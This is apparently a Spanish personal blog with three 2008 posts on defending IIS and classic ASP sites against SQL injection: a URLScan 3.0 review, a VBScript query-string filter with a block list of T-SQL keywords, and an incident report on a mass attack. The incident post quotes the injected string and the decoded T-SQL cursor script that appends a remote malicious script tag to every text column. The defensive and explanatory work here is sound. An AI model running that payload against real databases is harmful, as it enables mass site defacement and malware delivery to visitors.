Miércoles, 23 de Julio de 2008 por climens

Protección contra inyección SQL con URLScan 3.0

Últimamente muchos hemos sufrido algún tipo de ataque si nos dedicamos a la creación y mantenimiento de aplicaciones web. No importa la importancia o la visibilidad de estas aplicaciones, con que estén publicadas en Internet son un blanco susceptible de ser atacado por la multitud de bots que pululan por la red.

Lo ideal, como siempre, es que nuestras aplicaciones sean a prueba de bombas de modo que filtren los parámetros que recogen correctamente y no hagan caso de los datos que no tienen sentido, pero esto no siempre es posible ya que hay aplicaciones por el mundo de aquella época en la que los ataques no eran el pan de cada día y nadie se preocupaba por ellos.

Para esto, una buena opción es la protección de los ataques usando algún tipo de firewall o en su defecto algún tipo de filtro de queries, mucho mejor que protecciones a nivel de aplicación. Si trabajamos con IIS6, hasta hace poco había pocas opciones para protegernos ya que el clásico URLScan no permitía manejar Querystrings completas. Una opción gratuita es el IIS 6 SQL Injection ISAPI Wildcard, que filtra de forma básica todo lo que parece sospechoso y desde hace poco también está la opción de usar URLScan 3.0 en su versión beta, que permite añadir filtros a las Querystrings para proteger las páginas devolviendo un error 404 si se incumplen las condiciones.

Uno de los motivos del lanzamiento de esta herramienta ha sido el gran aumento de los ataques SQL en los últimos meses, como queda reflejado en el Security Advisory 954462, donde recomiendan usar este software así como otra interesante herramienta como es el Microsoft Source Code Analyzer for SQL Injection, del que hablaré en otro momento.

URLScan es muy sencillo de instalar, descargamos el instalador y ejecutamos y nos informará de dónde se ha instalado. Después hay que editar urlscan.ini para ajustarlo a nuestras necesidades (las configuraciones de la version 2.x son compatibles) y un buen punto de partida es la página de Common UrlScan Scenarios, donde explican configuraciones básicas para protección contra verbos extraños y contra ataques de inyección SQL.

Los he estado probando y recomiendo cierta prudencia ya que nos podemos encontrar con algunas sorpresas ya que si un parámetro se llama como una de las palabas prohibidas o su valor contiene una de las palabras tendremos un bonito error 404, por lo que convendría monitorizar los logs de URLScan durante los primeros días para evitar sorpresas. En mi caso he tenido que desactivar el filtro de una sola @ (aparecen mails en parámetros) y INSERT y SELECT porque aparece en el nombre de algunos parámetros.

Como opción interesante es que también se filtran los parámetros de las cookies, que muchas veces no se protegen adecuadamente y también se puede hacer inyección editando la información que contienen.

En resumen, URLScan 3.0 añade filtrado por Querystring que tanto había sido demandado y lo convierte en una herramienta potente a la hora de proteger un servidor con SQL Server y IIS 5, 6 o 7.

Compartir | meneame | fresqui | del.icio.us | digg | technorati
Tags: , , , , , , | 2 comentarios

Jueves, 5 de Junio de 2008 por climens

Protección de QueryString en ASP clásico contra inyección SQL

Hace un mes comenté que nos habían atacado por SQL, pero la cosa ha ido a más durante este tiempo y los ataques han proliferado y han ido variando ligeramente con el tiempo siendo en algunos casos menos destructivos pero más efectivos.
El problema son las aplicaciones legadas, en mi caso hechas en ASP clásico, en las que no hay ni tiempo ni ganas de revisar y cambiar todo lo que habría que cambiar para proteger adecuadamente estas aplicaciones (algunas datan del 2000).
A esto se une la propia inutilidad del IIS6 (por no hablar del IIS5 que también anda por ahí) para filtrar adecuadamente las QueryStrings contra ciertos patrones.
Para el ataque en cuestión, una primera aproximación es protección a través de TSQL, denegando el permiso de acceso a sysobjects y syscolumns al usuario que accede a la base de datos desde la aplicación ASP:

USE [database]
DENY SELECT ON ..sysobjects TO [login]
DENY SELECT ON ..syscolumns TO [login]

Esto puede ser suficiente para la oleada de ataques actuales pero no siempre es posible cambiar esos permisos ya que no se puede acceder con una cuenta con privilegios a la base de datos.
Entonces queda la protección por código, a través de algún archivo básico que se incluya en todas las páginas (si la aplicación es más o menos seria seguro que tiene alguno de estos). Casi seguro que al código hay acceso de algún modo para poder realizar actualizaciones. Si ni SQL, ni código, ni nada pues entonces solo hay que esperar que esté todo bien protegido de serie.
La protección por ASP es bastante simple y limitada pero sirve para el caso que nos ocupa como solución de emergencia sin tener que cambiar demasiadas cosas. Se basa en recoger los parámetros de la URL y buscar una serie de cadenas que seguramente aparecen en un ataque y improbablemente en una página bien formada, pero allá cada uno:

const ERR_BAD_QUERY = 1 ' El valor que se desee realmente

if request.servervariables("QUERY_STRING") <> "" then
    dim testQueryString, vDangerousStrings, dangerousString

    testQueryString = request.servervariables("QUERY_STRING")

    vDangerousStrings = split("CAST(,DECLARE%20,VARCHAR(,EXEC(",",")

    for each dangerousString in vDangerousStrings
        if instr(1, testQueryString, dangerousString, vbTextCompare) <> 0 then
            err.raise vbObjectError + ERR_BAD_QUERY, "AppName", "Los parámetros ("&dangerousString&") de la URL no son correctos: " & testQueryString
        end if
    next
end if

Con esto, cuando intenten atacar, fallará estrepitosamente y si están adecuadamente configurados los errores personalizados en el IIS para el error HTTP 500 aparecerá una bonita página al atacante. En mi caso, cada error manda un mail a una cuenta de monitorización.
Espero que a alguien le haya servido, aunque repito, no es una solución demasiado elegante ni infalibre. Además, no protege los parámetros pasados por POST, aunque de momento los ataques no están funcionando de ese modo, podrían hacerlo en algún momento.
Para implementar una solución más completa, estos consejos para la detección XSS y SQL Injection pueden ser bastante útiles.

Actualización 06/06/2008:
Después de hacer algunas pruebas de rendimiento, usar expresiones regulares no es realmente más lento que usar instr, así que allá va una versión mejorada:

const ERR_BAD_QUERY = 1 ' El valor que se desee realmente

if request.servervariables("QUERY_STRING") <> "" then
    dim re, testQueryString, vDangerousStrings, dangerousString

    set re = new regexp
    re.ignorecase = true

    testQueryString = request.servervariables("QUERY_STRING")

    vDangerousStrings = split("CAST(%20)*\(,DECLARE(%20)+,VARCHAR(%20)*\(,EXEC(%20)*\(",",")

    for each dangerousString in vDangerousStrings
        re.pattern = dangerousString

        if re.test(testQueryString) then
            set vMatches = re.execute(testQueryString)
            err.raise vbObjectError + ERR_BAD_QUERY, "AppName", "Los parámetros ("&vMatches(0)&") de la URL no son correctos: " & testQueryString
        end if
    next

    set re = nothing
end if

Con esto se flexibilizan las cadenas a buscar de modo que se adapten a variaciones del ataque que añadan espacios entre los comandos TSQL, que seguirían siendo perfectamente válidos para el intérprete de SQL Server.

Compartir | meneame | fresqui | del.icio.us | digg | technorati
Tags: , , , | Sin comentarios

Sábado, 19 de Abril de 2008 por climens

Atacados por inyección SQL

Hoy ha sido un dia aciago en el trabajo, de esos que parece que nada funciona bien y para colmo a última hora ha llamado alguien diciendo que no se veía bien un banner de su web. "A saber que han tocado" he pensado, pero eso solo era la punta del iceberg.

Echamos un vistazo y alerta del antivirus porque intentábamos ejecutar código maligno. Raro. Examinamos detenidamente la página y encontramos algo como esto por todas partes:

<script src=http://www.nihaorr1.com/1.js></script>

Curioso. Por lo visto todos los campos nvarchar y ntext habían sido completados con este añadido de html. La cosa se ponía ya más fea. El javascript en cuestión, lo que hace es escribir un iframe que apunta a una URL concreta, que cuando lo he probado no funcionaba (igual han muerto de éxito).

Buscando en Google, cómo no, veo que hay unos cuantos sites afectados por este gusano, por llamarlo de algún modo. Vale, por lo menos no somos los únicos pringados en este asunto.

Tirando del hilo y acotando un poco la búsqueda he llegado al foro de SecurityFocus y de ahí a una interesante explicación detallada de un ataque a SQL Server codificando una cadena de caracteres, haciendo un CAST y luego un exec de la cadena.

Después me he dedicado a revisar los logs de errores del servidor que llegan por correo (no tenía acceso a la máquina para ver los logs del servidor web), casi seguro que no habían acertado a la primera. Efectivamente, habían acertado a la segunda. Buena puntería.

Esto es de forma abreviada lo que intentaban inyectar:

';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500 .... 6F007200%20AS%20NVARCHAR(4000));EX EC(@S);--

La verdad es que es ingenioso y potente ya que por un lado minimizan la cantidad de instrucciones SQL necesarias y además no usan los típicos SELECT, INSERT o UPDATE. Una vez decodificada la cadena, lo que se consigue es un script como este:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
    select a.name,b.name from sysobjects a,syscolumns b
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
    exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.nihaorr1.com/1.js></script>''')
    FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

No es realmente complicado, ya que lo que hace es obtener de sysobjects las columnas y tablas vulnerables y después recorre los resultados haciendo un UPDATE intentando no destruir datos y simplemente añadir la cadena maliciosa a las existentes. Y además usando instrucciones que suelen estar disponibles con los niveles de privilegio básicos de lectura y escritura (por lo menos en SQL Server). Me gusta.

Las aplicaciones que hacemos suelen tener una protección más o menos adecuada contra ataques de inyección como estos (funciones de recogida de datos y de paso de parámetros a sentencias SQL) pero en este caso, por desconocimiento o despreocupación, se trataba de un par de páginas muy a medida que se hicieron para ese proyecto. Tendré que recordar una vez más la importancia que tiene el manejo de strings, tanto a la hora de recogerlos, para evitar por ejemplo inyección de HTML, como a la hora de usarlos en consultas SQL, para evitar la ejecución de código malicioso.

Actualización 22-04-2008: Ya me han llegado los logs. Todo viene de la IP 219.153.46.28, y veo que no somos los únicos afectados. Id con cuidado ahí fuera.

Actualización 26-04-2008: En Kriptópolis se hacen eco del ataque y ha afectado a más de 500.000 sitios en los últimos dias. Qué cracks.

Actualización 28-04-2008: Y esto no se acaba, reacciones en Washington Post via OS News. También en IIS.NET y una guía de seguridad de Microsoft por si alguien la quiere descifrar.

Compartir | meneame | fresqui | del.icio.us | digg | technorati
Tags: , | 4 comentarios